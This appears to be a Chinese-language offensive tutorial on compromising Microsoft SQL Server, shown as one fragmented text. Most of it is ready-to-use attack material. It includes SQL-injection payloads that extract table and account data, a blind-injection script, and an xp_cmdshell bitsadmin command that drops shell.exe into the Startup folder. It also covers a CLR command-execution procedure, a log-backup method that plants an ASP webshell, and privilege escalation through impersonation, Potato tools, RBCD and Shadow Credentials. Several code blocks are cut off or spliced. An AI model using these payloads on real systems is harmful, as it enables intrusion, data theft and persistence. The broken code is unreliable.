Microsoft SQL Server 是微软开发的关系型数据库管理系统。作为数据库服务器,它是一种软件产品,主要功能是根据其他软件应用程序的请求存储和检索数据,这些应用程序可以在同一台计算机上运行,也可以在网络(包括 Internet)上的另一台计算机上运行。SQL Server 默认开放的端口是 TCP 1433。
/* 如果页面报错,则站库分离;回显正常,则无站库分离 */ ?id=1 and ((select host_name())=(select @@servername))--
· 判断当前服务器级别角色(Server-level roles)
?id=1 and 1=(select is_srvrolemember('sysadmin'))-- ?id=1 and 1=(select is_srvrolemember('serveradmin'))-- ?id=1 and 1=(select is_srvrolemember('securityadmin'))-- ?id=1 and 1=(select is_srvrolemember('processadmin'))-- ?id=1 and 1=(select is_srvrolemember('setupadmin'))-- ?id=1 and 1=(select is_srvrolemember('bulkadmin'))-- ?id=1 and 1=(select is_srvrolemember('diskadmin'))-- ?id=1 and 1=(select is_srvrolemember('dbcreator'))-- ?id=1 and 1=(select is_srvrolemember('public'))--
为便于管理数据库中的权限,SQL Server 提供了若干角色,这些角色是用于对其他主体进行分组的安全主体。它们类似于 Windows 操作系统中的组。SQL Server 2019 和以前的版本提供了 9 个不同级别的服务器级角色以帮助用户管理服务器上的权限。这些角色是可组合其他主体的安全主体,并且遵循最地特权原则。服务器级角色的权限作用域为服务器范围。
下表显示了固定的服务器级角色及其功能。
· 判断当前数据库级别角色(Database-level roles)
?id=1 and 1=(select IS_ROLEMEMBER('db_owner'))-- ?id=1 and 1=(select IS_ROLEMEMBER('db_securityadmin'))-- ?id=1 and 1=(select IS_ROLEMEMBER('db_accessadmin'))-- ?id=1 and 1=(select IS_ROLEMEMBER('db_backupoperator'))-- ?id=1 and 1=(select IS_ROLEMEMBER('db_ddladmin'))-- ?id=1 and 1=(select IS_ROLEMEMBER('db_datawriter'))-- ?id=1 and 1=(select IS_ROLEMEMBER('db_datareader'))-- ?id=1 and 1=(select IS_ROLEMEMBER('db_denydatawriter'))--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u');-- ?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts'));-- ?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers'));-- ?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates'));-- ('fsb_accounts', 'fsb_fund_transfers'));-- ?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates'));-- ?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates', 'fsb_messages'));-- ?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates', 'fsb_messages', 'fsb_transactions'));-- ?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates', 'fsb_messages', 'fsb_transactions', 'fsb_users'));--
· 查询表中的字段名
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts'));-- ?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no');-- ?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no' and name<>'account_type');-- ?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no' and name<>'account_type' and name<>'balance_amount');--
/* 查询表名可以用 information_schema.tables */ ?id=1 and 1=(select top 1 table_name from information_schema.tables);-- /* 查询列名可以用 information_schema.columns */ ?id=1 and 1=(select top 1 column_name from information_schema.columns where table_name='fsb_accounts');--
· 查询表中具体的数据
?id=1 and 1=(select top 1 branch from fsb_accounts);-- ?id=1 and 1=(select top 1 branch from fsb_accounts where branch<>'Texas-Remington Circle');-- ?id=1 and 1=(select top 1 branch from fsb_accounts where branch not in ('Texas-Remington Circle', 'Mahnattan - New york'));--
?id=-1 or ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1))>97--
下面给出布尔盲注脚本:
import requests import time
url = 'http://192.168.2.244/index.aspx?user_id='
cookies = { # 如果目标网站要事先登录,就加上cookies吧 'PHPSESSID':'c8ab8r49nd2kk0qfhs0dcaktl3' }
flag = '' for i inrange(1,90000): low = 32 high = 128 mid = (low+high)//2 while(low<high): payload = url + '-1 or ascii(substring((select top 1 name from master.dbo.sysdatabases),%d,1))>%d-- ' %(i,mid) res = requests.get(url=payload)
''' data = { 'user_id': payload } res = requests.get(url=url, data=data) '''
EXEC master.dbo.xp_cmdshell 'bitsadmin /transfer n http:///image/shell.exe C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\shell.exe'
Ole Automation Procedures
SQL Server 支持一组系统存储过程,这些存储过程允许在 Transact-SQL 批处理中使用 OLE 自动化对象。默认情况下,SQL Server 会阻止访问 OLE 自动化存储过程,因为此组件作为此服务器的安全配置的一部分关闭。系统管理员可以使用 sp_configure 来启用对 OLE 自动化过程的访问。
这里我们直接介绍 sp_OACreate 和 sp_OAMethod 这两个过程,前者可以在 MSSQL 中调用 OLE 对象的实例,后者用来调用 OLE 对象里的方法。
从 2005 SQL Server 2005 (9.x) 开始,SQL Server 功能集成了 Microsoft Windows .NET Framework(CLR)组件的公共语言运行时。这意味着您现在可以使用任意 .NET Framework 语言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)编写存储过程、触发器、用户定义类型、用户定义函数、用户定义聚合函数以及流处理表值函数。
MSSQL CLR 的利用条件如下:
· 当前用户具有 DBA 权限
· CLR 已启用
CLR 的相关配置方法如下:
/* 开启 CLR 服务 */ EXEC sp_configure 'show advanced options',1;RECONFIGURE; EXEC sp_configure 'clr enabled',1;RECONFIGURE; ALTER DATABASE master SET TRUSTWORTHY ON;
下面通过 Visual Studio 手动创建存储过程来执行系统命令。
· 创建 SQL Server 数据库项目
· 选择 “目标平台” 并勾选 “创建脚本”
· 选择 “目标框架”,并设置 “权限级别” 为 “UNSAFE”
在 SQL Server 2005 后引入了从 MSSQL 运行 .NET 代码的功能,并在后续版本中叠加了许多保护措施,来限制代码可以访问的内容。其权限集有三个选项:
1. SAFE:基本上只将MSSQL数据集暴露给代码,其他大部分操作则都被禁止
2. EXTERNAL_ACCESS:允许访问底层服务器上某些资源,但不应该允许直接执行代码
3. UNSAFE:允许执行任何代码
· 选择 “项目” —> “添加新项”,创建 SQL CLR C# 存储过程
· 写入以下代码
using System; using System.Data; using System.Data.SqlClient; using System.Data.SqlTypes; using System.Diagnostics; using System.Text; using Microsoft.SqlServer.Server;
publicpartialclassStoredProcedures { [Microsoft.SqlServer.Server.SqlProcedure] publicstaticvoidExecCommand(string cmd) { SqlContext.Pipe.Send('Command is running, please wait.'); SqlContext.Pipe.Send(RunCommand('cmd.exe', ' /c ' + cmd)); } publicstaticstringRunCommand(string filename, string arguments) { var process = new Process();
process.StartInfo.FileName = filename; if (!string.IsNullOrEmpty(arguments)) { process.StartInfo.Arguments = arguments; }
/* 把指定的数据库激活为还原模式,FoundStone_Bank 是笔者当前的数据库名 */ ?id=-1;alter database FoundStone_Bank set RECOVERY FULL; /* 创建一张临时表 */ ?id=-1;create table test (cmd image); /* 先将数据库日志备份一次 */ ?id=-1;backup log FoundStone_Bank to disk = 'C:\inetpub\wwwroot\public' with init; /* 向表中插入一句话 WebShell:<%execute(request('a'))%> */ ?id=-1;insert into test (cmd) values (0x3C25657865637574652872657175657374282261222929253E); /* 再将数据库日志备份一次,写入 WebShell */ ?id=-1;backup log FoundStone_Bank to disk = 'C:\inetpub\wwwroot\public\shell.asp';
SQL Server 权限提升
Impersonation Of Other Users
默认情况下,SQL Server 的会话在用户登录时开始,在用户注销时结束。会话过程中的所有操作都受限于对该用户进行的权限检查。当运行 EXECUTE AS 语句时,会话的执行上下文将切换到指定的登录名或用户名。上下文切换后,将根据指定的登录名和用户安全令牌检查该帐户(而非调用 EXECUTE AS 语句的用户)的权限。实际上,在会话或模块的执行期间模拟了用户或登录帐户,或显式恢复了上下文切换。
笔者将上述过程称作 SQL Server 的用户模拟。默认情况下,系统管理员可以模拟任何人,但是普通用户必须被授予 IMPERSONATE 权限才能来模拟特定的用户。
在实战中,如果我们接管了某一 SQL Server 帐户,但是由于权限限制无法执行一些高权限操作。信息收集发现该用户可以模拟高权限账户,那么就可以执行 EXECUTE AS 语句切换到高权限帐户的上下文,实现垂直提权。
Elevate to sysadmin
如果一个登录名被授予了模拟 sysadmin 角色登录名的权限,那么我们可以通过 EXECUTE AS LOGIN 可以模拟这个高权限登录名,提升至 sysadmin 权限。
(1)首先预设存在漏洞的配置。创建两个登录名 LoginUser1 和 LoginUser2,并授予登录名 LoginUser1 模拟登录名 LoginUser2 和 SA 的权限。
/* 创建两个登录名 LoginUser1 和 LoginUser2 */ USE master; CREATE LOGIN LoginUser1 WITH PASSWORD = 'J345#$)thb'; CREATE LOGIN LoginUser2 WITH PASSWORD = 'Uor80$23b'; GO
/* 授予登录名 LoginUser1 模拟登录名 LoginUser2 和 SA 的权限 */ USE master; GRANT IMPERSONATE ON LOGIN::[sa] to [LoginUser1]; GRANT IMPERSONATE ON LOGIN::[LoginUser2] to [LoginUser1]; GO
SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
/* 创建两个登录名 LoginUser1 和 LoginUser2 */ USE master; CREATE LOGIN LoginUser1 WITH PASSWORD = 'J345#$)thb', DEFAULT_DATABASE=FoundStone_Bank; CREATE LOGIN LoginUser2 WITH PASSWORD = 'Uor80$23b', DEFAULT_DATABASE=FoundStone_Bank; GO /* 从这两个登录名分别创建用户名 User1 和 User2 */ USE FoundStone_Bank; CREATE USER User1 FOR LOGIN LoginUser1 WITH DEFAULT_SCHEMA=dbo; CREATE USER User2 FOR LOGIN LoginUser2 WITH DEFAULT_SCHEMA=dbo; GO /* 为 User2 帐户授予 sysadmin 角色 */ EXEC sp_addrolemember 'db_owner', 'User2'; GO /* 授予用户名 User1 模拟用户名 User2 的权限 */ GRANT IMPERSONATE ON USER::[User2] to [User1]; GO
SELECT rp.name as database_role, mp.name as database_user from sys.database_role_members drm join sys.database_principals rp on (drm.role_principal_id = rp.principal_id) join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
在 Windows Server 2008 R2 和 Windows 7 之前,安装的 SQL Server 默认使用本地系统帐户(NT AUTHORITY\SYSTEM)运行,如果我们拿下了 SQL Server 的权限便可以 SYSTEM 权限执行系统命令。而在之后版本的系统中,SQL Server 会默认将实例名称用作服务名称的虚拟帐户(格式为 NT SERVICE\<SERVICENAME>),并使用虚拟帐户的权限运行。
“If the default value is used for the service accounts during SQL Server setup, a virtual account using the instance name as the service name is used, in the format NT SERVICE\<SERVICENAME>”。
虚拟帐户是本地服务账户(NT AUTHORITY\LOCAL SERVICE)的一种,这就意味着 SQL Server 的运行权限被大幅度降低,如果要开展后渗透的话就必须本地提权。
在本篇文章中,笔者仅介绍三种方法:
· SeImpersonatePrivilege
· Resource Based Constrained Delegation (RBCD)
· Shadow Credentials
SeImpersonatePrivilege
本地服务帐户所拥有的 SeAssignPrimaryTokenPrivilege 或 SeImpersonatePrivilege 特权意味着可以通过访问令牌操纵技术实现本地提权。这两个特权非常强大,允许用户在另一个用户的安全上下文中运行代码甚至创建新进程。“Potato” 家族正是通过滥用 Windows 服务账户拥有的这两项特权,将已获取的 NT AUTHORITY\SYSTEM 账户的访问令牌传入 CreateProcessWithTokenW 或 CreateProcessAsUserA 函数进行调用,从而在 NT AUTHORITY\SYSTEM 账户的上下文中创建新进程,以提升至 SYSTEM 权限。
在实战场景中,若通过MSSQL 服务的 xp_cmdshell 成功执行了系统命令,就可以通过 “Potato” 家族提权的方法提升至 SYSTEM 权限。
相关利用方法演示如下:
· 通过 JuicyPotato 提升至 SYSTEM 权限(Windows Server 2019 and Windows 10 build 1809 prior version)
JuicyPotato.exe -a whoami
· 通过 PrintSpoofer 模拟命名管道客户端提升至 SYSTEM 权限(Windows Server 2019 and Windows 10 build 1809 onwards, even all versions)
PrintSpoofer.exe -i -c whoami
Resource Based Constrained Delegation (RBCD)
Resource Based Constrained Delegation (RBCD) 即基于资源的约束性委派。关于 RBCD 的细节,请读者自行阅读笔者 《浅入深出域委派攻击》 这篇博客,本文不再赘述。
根据微软官方文档的描述 “Services that run as virtual accounts access network resources by using the credentials of the computer account in the format <domain_name>\<computer_name>$”,以虚拟帐户身份运行的服务通过使用机器帐户的凭据(格式为 <domain_name>\<computer_name>$)访问网络资源。因此,如果是在域环境中,我们完全可以在 SQL Server 虚拟帐户的上下文中连接到活动目录,并为当前机器帐户设置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性。
在 Black Hat Europe 2019 大会期间,Michael Grafnetter(@MGrafnetter)讨论了针对 Windows Hello for Business 技术的多种攻击方法,其中包括域持久化技术。该技术涉及修改目标计算机账户或用户帐户的 msDS-KeyCredentialLink 属性,以获得用于检索 NTLM 哈希值和请求 TGT 票据。关于 Shadow Credentials 的细节,请读者自行阅读笔者 《Shadow Credentials》 这篇博客,本文不再赘述。
与设置 msDS-AllowedToActOnBehalfOfOtherIdentity 相似,机器账户对自身的 msDS-KeyCredentialLink 属性拥有 WriteProperty 权限。我们可以在 SQL Server 虚拟帐户的上下文中连接到活动目录,为当前机器帐户 WIN-MSSQL$ 设置 Shadow Credentials,并最终通过 S4U2Self 提升至 SYSTEM 权限。
在 SQL Server 中,如果一些涉及到文件操作的存储过程可控,我们可以尝试将其中的文件路径换成 UNC 路径,强制 SQL Server 向任意服务器发起身份认证。并且,由于 SQL Server 默认运行在 Local System 或 Network Service 账户下,这就意味着我们 SQL Server 将以本地机器帐户发起认证请求。虽然机器账户默认情况下不允许登录,但如果是在域环境中,我们可以将这个认证请求中继到活动目录,从而修改机器的相关属性实现本地特权提升。